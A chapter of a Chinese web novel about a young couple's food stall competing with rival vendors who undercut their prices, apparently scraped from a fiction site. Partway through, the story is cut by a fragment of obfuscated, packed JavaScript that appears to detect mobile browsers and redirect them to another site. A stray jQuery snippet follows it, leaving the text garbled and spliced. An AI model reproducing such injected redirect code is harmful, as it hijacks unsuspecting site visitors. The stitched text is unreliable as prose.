应望咬碎一颗绿豆，闻言点点头，“也是，本来就没多少钱，再来些虚头巴脑的，愿意买才怪呢。” 哪怕就是最便宜的老冰棍，那里面也是放了糖的，吃起来甜丝丝的，对于这年头还没实现糖自由的人来说也算是比较难得的东西。 慢悠悠的吃着冰棍，浑身的暑气好像也都消散了，只剩下夏日的闲适。 吃完冰棍，刘青刘芳就回屋去了，应望和魏云舒则轮流去浅浅睡了半个小时，再起来磨蹭会儿，时间也就到了罐头厂工人要下工的时候。 东西搬上板车，出发继续摆摊。 好在下午的卤味还没有竞争对手出现，他们的东西卖的依旧快，这情况叫应望欣慰不少。 不过就照目前的情况来看，肉夹馍都有人跟着做了，那保不齐卤味什么时候也会出现跟风的，所以还是得早做打算才行。 但他暂时没想好结合现在的摊子能卖点什么。 这一想就是一个晚上。 次日，应望和魏云舒照惯例准备出摊。在和面的时候应望有过犹豫，今天是不是要少准备点？可念头才升起没片刻又被他抛弃了。 一般来说，像这种搞竞争的低价“新品”都是刚推出的那一天是高/潮，因为它能吸引一大批想占便宜、想尝鲜的顾客。等到第一天过去，顾客对新产品也有了数，如果东西好那肯定买的人更多，如果东西不好那就会流失顾客，对方的结果…… 应望暂时不知道。 不过也就今天的事情了。 所以他和魏云舒商量权衡之后，还是决定按照以前的二十个准备，情况最差也就是肉夹馍卖不出去，他们只能拿回来自己当午饭吃。这样……倒省的中午再做饭了。 还有就是昨天魏云舒说的，要去买个对方的肉夹馍来尝尝什么味道，应望本来有点不好意思自己去、所以想叫刘青或者刘芳帮忙买，但魏云舒却说：“我们大大方方的做生意买东西，不用怕什么。” 应望一想，也是啊，他们才是最先在白云市卖肉夹馍的，现在去买别人做的肉夹馍属于正常的交易行为，就算该心虚也不该是我心虚。 没错，自己去买！ 于是，两人就推着东西出摊了。 到了南幼南小校门口，应望就发现隔壁摊早就到了，目前摊子前有一个人在买东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13489736|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一路过来应望已经做好了心理建设，看一眼之后就没再多关注，只忙着自己的摊子。 “你们可算是来了。”刚摆好，就接连有顾客过来。 跟在后面的人就说：“老赵，你昨天不是去那边买东西了吗，感觉咋样？” “别提了。”当着应望和魏云舒的面，老赵摆摆手，“那边的东西我吃着没小老板他们做的香，吃惯了小老板他们卖的肉夹馍，再吃那个我怎么都觉得不得劲。” “哈哈哈哈。”后者毫不犹豫的嘲笑，“叫你贪图便宜！” 老赵倒也没恼，“就当是买个新鲜了。” 不可否认，应望听着这话挺开心的。有顾客觉得对方的肉夹馍没自家做的好吃，那说明他们还是有赢面的吧？ 正想着，就听老赵点单了，“给我两个肉夹馍，都加卤鸡蛋。” 应望应声，“好。” 有顾客看到他这手笔，豁然笑起来，“老赵，看来你是真的被伤着了啊！” 老赵嘿地笑了声，“你等着看吧，不单单是我一个人，今天肯定有不少人过来这。” 同排队的有些人就不好意思的说了，“老赵，你说的是我吗？” 老赵笑起来，“看吧，我说的！” 在摊子前，大家多多少少其实有点心虚，尤其是这种类似于“吃回头草”的做法，让脸皮薄的甚至都不太敢在近日跑到应望他们小摊来买东西。但就像老赵说的，吃习惯了这边的肉夹馍，再吃那边的就怎么都不对味。 说白了，他们现在的胃口已经有些被养刁了，尤其是面对肉夹馍的时候，不自觉的就会进行对比，要是好吃那就是惊艳，要是不好吃就是不舒坦。当然了，有这种想法的基本都是工资高、舍得花钱的人。他们不怎么太在乎那两毛钱，宁愿多花点也想让自己吃舒坦。 而节省的人则愿意去买便宜的。他们能吃出来两家肉夹馍的不同，但还是那句话，穷苦年代他们不太在乎食物的口味，肉就算再难吃又能难吃到哪里去？多省下两毛钱，能干不少事了。 所以今天王天成王天幸的摊子生意虽然不如昨天，但也没有差很多。 不过这还是叫王天成很不高兴，他肉夹馍都便宜了两毛钱，怎么还有人宁愿到隔壁去买也不来他这里买？！那边摊子前好几个人都是昨天来他这里买过肉夹馍的！ 他嘴里咧咧，“这群人真是钱多烧得慌！” 王天幸离得近听到了，忍不住就说：“哥，别说了，我们现在的生意也不差。” 王天成瞪他一眼，“你就是个没出息的，那么多人去那边买，那我们少做了多少生意？你到底会不会算账？！” 王天幸无奈，“我们也不能把好处全占了啊，何况对方是第一个卖肉夹馍的，肯定有人认准了他们。” 此话一出，王天成脸色骤变，心里更气了，觉得王天幸是在内涵他偷学了别人的秘方，“你什么意思？” 王天幸没看出异样，只说：“做生意嘛，肯定不能让我们把所有的顾客都拢过来，现在这样已经很好了，哥你别那么计较。” 王天成冷笑一声，正想骂回去，却见有顾客上门，只得狠狠瞪了王天幸一眼，然后招待起顾客来。 王天幸：“……” 总觉得他哥脑子里又想左了。